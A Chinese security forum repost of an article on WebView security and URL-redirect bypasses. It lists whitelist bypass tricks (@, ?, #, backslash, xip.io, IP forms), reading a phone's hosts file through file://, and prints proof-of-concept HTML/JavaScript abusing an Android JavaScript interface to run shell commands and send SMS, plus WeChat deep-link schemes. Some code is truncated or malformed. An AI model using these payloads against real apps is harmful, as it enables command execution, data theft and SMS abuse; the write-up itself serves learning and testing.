搜索

[19610] 2020-05-26_聊一聊Webview安全与URL跳转

文档创建者：s7ckTeam
浏览次数：3
最后更新：2025-01-18
2020-05-26_聊一聊Webview安全与URL跳转 聊 一 聊 W e b v i e w 安 全 与 U R L 跳 转 i 春 秋   2 0 2 0 - 0 5 - 2 6 在 学 习 信 息 安 全 技 术 的 过 程 中 ， 用 开 阔 的 眼 光 看 待 安 全 问 题 会 得 到 不 同 的 结 论 。 本 文 是 i 春 秋 论 坛 作 家 「 衬 衫 a 」 表 哥 发 布 的 一 篇 关 于 W e b v i e w 安 全 与 U R L 跳 转 的 文 章 ， 感 兴 趣 的 小 伙 伴 快 来 学 习 吧 。 公 众 号 旨 在 为 大 家 提 供 更 多 的 学 习 方 法 与 技 能 技 巧 ， 文 章 仅 供 学 习 参 考 。 在 一 次 测 试 中 我 用 B u r p s u i t e 搜 索 了 关 键 词 u r l 找 到 了 某 处 u r l ， 测 试 一 下 发 现 w a f 拦 截 了 指 向 外 域 的 请 求 ， 于 是 开 始 尝 试 绕 过 。 第 一 个 测 试 的 u r l 是 ： h t t p s : / / m a l l . m . x x x x x x x . c o m / j u m p . h t m l ? u r l = h t t p s : / / b a i d u . c o m 打 开 成 功 跳 转 以 为 会 跳 转 成 功 ， 但 是 b a i d u . c o m 是 在 白 名 单 的 ， 所 以 只 能 想 办 法 去 绕 过 它 ， 经 过 几 次 绕 过 后 发 现 h t t p s : / / m a l l . m . x x x x x x x . c o m / j u m p . h t m l ? u r l = h t t p s : / c 1 h 2 e 1 . g i t h u b . i o 可 以 跳 转 成 功 ， 于 是 我 觉 得 有 必 要 总 结 一 下 u r l 的 跳 转 绕 过 思 路 ， 分 享 给 大 家 ！ @ 绕 过 绕 过 这 个 是 利 用 了 我 们 浏 览 器 的 特 性 ， 现 在 除 了 F i r e f o x 浏 览 器 大 部 分 都 可 以 完 成 这 样 跳 转 ， 下 面 是 跳 转 的 内 容 ： 问 号 绕 过 问 号 绕 过
可 以 使 用 R e f e r e r 的 比 如 h t t p s : / / b a i d u . c o m ， 可 以 h t t p s : / / 任 意 地 址 / ? b a i d u . c o m 锚 点 绕 过 锚 点 绕 过 利 用 # 会 被 浏 览 器 解 释 成 H T M L 中 的 锚 点 ： h t t p : / / 1 2 7 . 0 . 0 . 1 / # q q . c o m x i p . i o 绕 过 绕 过 h t t p : / / w w w . b a i d u . c o m . 1 2 7 . 0 . 0 . 1 . x i p . i o / ， 这 样 之 后 会 访 问 1 2 7 . 0 . 0 . 1 在 公 网 上 运 行 自 定 义 的 D N S 服 务 器 ， 用 它 的 服 务 器 提 取 I P 地 址 ， 在 响 应 中 将 它 取 回 。 反 斜 杠 绕 过 反 斜 杠 绕 过 这 次 测 试 中 也 是 使 用 了 这 种 思 路 ： h t t p s : / / m a l l . m . x x x x x x x . c o m / j u m p . h t m l ? u r l = h t t p s : / c 1 h 2 e 1 . g i t h u b . i o I P 绕 过 绕 过 把 目 标 的 U R L 修 改 成 I P 地 址 ， 这 样 也 有 可 能 绕 过 w a f 的 拦 截 。 c h r o m e 浏 览 器 特 性 这 样 的 都 会 跳 转 到 百 度 1 U R L 跳 转 到 W e b v i e w 安 全 问 题 这 次 的 漏 洞 在 手 机 上 测 试 时 发 现 利 用 A P P   u r l   S c h e m a 也 就 是 H o w   d o e s   i t   w o r k ? x i p . i o   r u n s   a   c u s t o m   D N S   s e r v e r   o n   t h e   p u b l i c   I n t e r n e t . W h e n   y o u r   c o m p u t e r   l o o k s   u p   a   x i p . i o   d o m a i n ,   t h e   x i p . i o D N S   s e r v e r   e x t r a c t s   t h e   I P   a d d r e s s   f r o m   t h e   d o m a i n   a n d s e n d s   i t   b a c k   i n   t h e   r e s p o n s e . h t t p : / / b a i d u . c o m h t t p : / / b a i d u . c o m / / b a i d u . c o m h t t p : / / b a i d u . c o m
x x x x : / / a p p / w e b v i e w ? u r l = x x x x x x x 其 实 这 里 的 任 意 W e b v i e w 跳 转 已 经 构 成 漏 洞 了 ， 但 是 我 想 更 加 深 入 一 下 ， 请 看 下 面 的 案 例 。 案 例 案 例 我 们 先 用 f i l e : / / 协 议 读 取 一 下 测 试 文 件 试 一 下 ： 可 以 看 到 成 功 读 取 了 手 机 的 敏 感 h o s t 文 件 ， 但 不 是 只 要 读 取 成 功 就 能 完 成 利 用 的 ， 我 们 还 需 要 设 计 到 发 送 并 读 取 。 这 边 我 又 测 试 了 一 下 J a v a S c r i p t 的 情 况 ， 发 现 开 启 ， 在 v p s 上 搭 建 一 下 利 用 代 码 。 < h t m l > < h e a d > < t i t l e > t e s t < / t i t l e > < / h e a d > < s c r i p t >
在 a p p 上 测 试 一 下 发 现 不 成 功 ， 之 后 才 得 知 是 因 为 同 源 策 略 导 致 的 ， 在 网 上 各 种 找 方 法 绕 过 后 无 果 ， 没 办 法 只 好 放 弃 。 虽 然 这 个 应 用 绕 不 过 ， 我 们 可 以 m a r k 一 点 姿 势 。 P s ： 很 多 代 码 都 是 手 码 的 没 写 过 J S ， 所 以 可 能 会 有 一 些 错 误 不 要 见 怪 。 < / s c r i p t > < b o d y > < d i v   i d = " w e b p a g e " > < / d i v > < / b o d y > < / h t m l >
这 个 是 执 行 命 令 的 p o c < h t m l >       < b o d y >             < s c r i p t >                   f u n c t i o n   e x e c u t e ( c m d A r g s )                   {                           r e t u r n   i n j e c t e d O b j . g e t C l a s s ( ) . f o r N a m e ( " j a v a . l a n g . R u n t i m e " ) . g e t M e t h o d ( " g e t R u n t i m e " , n u l l ) . i n v o k e (                   }                   v a r   r e s   =   e x e c u t e ( [ " / s y s t e m / b i n / s h " ,   " - c " ,   " l s   - a l   / m n t / s d c a r d / " ] ) ;                   d o c u m e n t . w r i t e ( g e t C o n t e n t s ( r e s . g e t I n p u t S t r e a m ( ) ) ) ;               < / s c r i p t >       < / b o d y > < / h t m l > < h t m l > < h e a d > < t i t l e > T e s t   s e n d < / t i t l e > < s c r i p t   t y p e = " t e x t / j a v a s c r i p t " > f u n c t i o n   e x e c u t e ( )   {                 v a r   s e n d s m s   =   j s I n t e r f a c e . g e t C l a s s ( ) . f o r N a m e ( " a n d r o i d . t e l e p h o n y . S m s M a n a g e r " ) . g e t M e t h o d ( " g e t D e f a u l t "                 s e n d s m s . s e n d T e x t M e s s a g e ( " 1 3 7 2 2 5 5 5 1 6 5 " , n u l l , " g e t " , n u l l , n u l l ) ; } < / s c r i p t > < / h e a d > < b o d y > < i n p u t   t y p e = " b u t t o n " e x e c u t e "   v a l u e = " t e s t " / > < / b o d y > < / h t m l >
2 更 换 目 标 这 是 我 想 到 了 w e i x i n 的 协 议 ， w e i x i n : / / 看 了 官 方 的 文 档 之 后 我 发 现 了 微 信 支 持 如 下 操 作 ： 经 过 一 番 查 找 后 ， 找 到 了 能 够 跳 转 的 方 法 ： w e i x i n : / / d l / b u s i n e s s / ? t i c k e t = x x x x x x x x x x x x x x x x x 。 < h t m l > < h e a d > < t i t l e > T e s t   s e n d s m s < / t i t l e > < s c r i p t   t y p e = " t e x t / j a v a s c r i p t " > f u n c t i o n   e x e c u t e ( )   {                 v a r   s e n d s m s   =   j s I n t e r f a c e . g e t C l a s s ( ) . f o r N a m e ( " a n d r o i d . t e l e p h o n y . S m s M a n a g e r " ) . g e t M e t h o d ( " g e t D e f a u l t "                 s e n d s m s . s e n d T e x t M e s s a g e ( " 1 3 7 2 2 5 5 5 1 6 5 " , n u l l , " g e t " , n u l l , n u l l ) ; } < / s c r i p t > < / h e a d > < b o d y > < i n p u t   t y p e = " b u t t o n " e x e c u t e "   v a l u e = " t e s t " / > < / b o d y > < / h t m l > w e i x i n : / / d l / g e n e r a l w e i x i n : / / d l / f a v o r i t e s   收 藏 w e i x i n : / / d l / s c a n   扫 一 扫 w e i x i n : / / d l / f e e d b a c k   反 馈 w e i x i n : / / d l / m o m e n t s   朋 友 圈 w e i x i n : / / d l / s e t t i n g s   设 置 w e i x i n : / / d l / n o t i f i c a t i o n s   消 息 通 知 设 置 w e i x i n : / / d l / c h a t   聊 天 设 置 w e i x i n : / / d l / g e n e r a l   通 用 设 置 w e i x i n : / / d l / o f f i c i a l a c c o u n t s   公 众 号 w e i x i n : / / d l / g a m e s   游 戏 w e i x i n : / / d l / h e l p   帮 助 w e i x i n : / / d l / f e e d b a c k   反 馈 w e i x i n : / / d l / p r o f i l e   个 人 信 息 w e i x i n : / / d l / f e a t u r e s   功 能 插 件
那 么 这 个 t i c k e t 哪 里 来 呢 ？ 我 在 t 0 0 l s 上 看 到 一 篇 同 样 关 于 这 个 微 信 协 议 的 分 析 ， 百 度 了 一 下 找 到 了 这 个 地 址 ： 我 们 注 册 并 登 陆 尝 试 一 下 跳 转 ： 果 然 还 是 收 费 ， 因 为 写 文 章 的 时 候 比 较 早 ， 他 们 可 能 没 有 上 班 所 以 就 换 个 地 方 找 一 下 ： 我 们 加 一 下 这 个 客 服 的 q q ： 正 如 我 想 象 的 那 样 ： w e i x i n : / / d l / b u s i n e s s / ? t i c k e t = t a a 5 9 7 c c d c d f 0 0 e c b 8 6 5 d 9 e 0 4 9 0 4 b b f f 4 手 机 打 开 测 试 一 下 网 页 ： 成 功 打 开 微 信 并 跳 转 ， 以 上 内 容 大 家 看 懂 了 吗 ？ 文 章 素 材 来 源 于 i 春 秋 社 区 新 来 的 朋 友 如 果 想 要 了 解 其 他 的 必 备 技 能 和 实 用 工 具 ， 可 以 点 击 菜 单 栏 中 的 入 门 锦 囊 查 看 相 关 内 容 ： 猜 猜 你 你 喜 喜 欢 欢
文 末 右 下 角 点 个 “ 在 看 在 看 ” 再 走 哦 ~ i 春 秋 官 方 公 众 号 为 大 家 提 供 春 秋 官 方 公 众 号 为 大 家 提 供 前 沿 的 网 络 安 全 技 术 简 单 易 懂 的 实 用 工 具 紧 张 刺 激 的 安 全 竞 赛 还 有 网 络 安 全 大 讲 堂 更 多 技 能 等 你 来 解 锁

回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理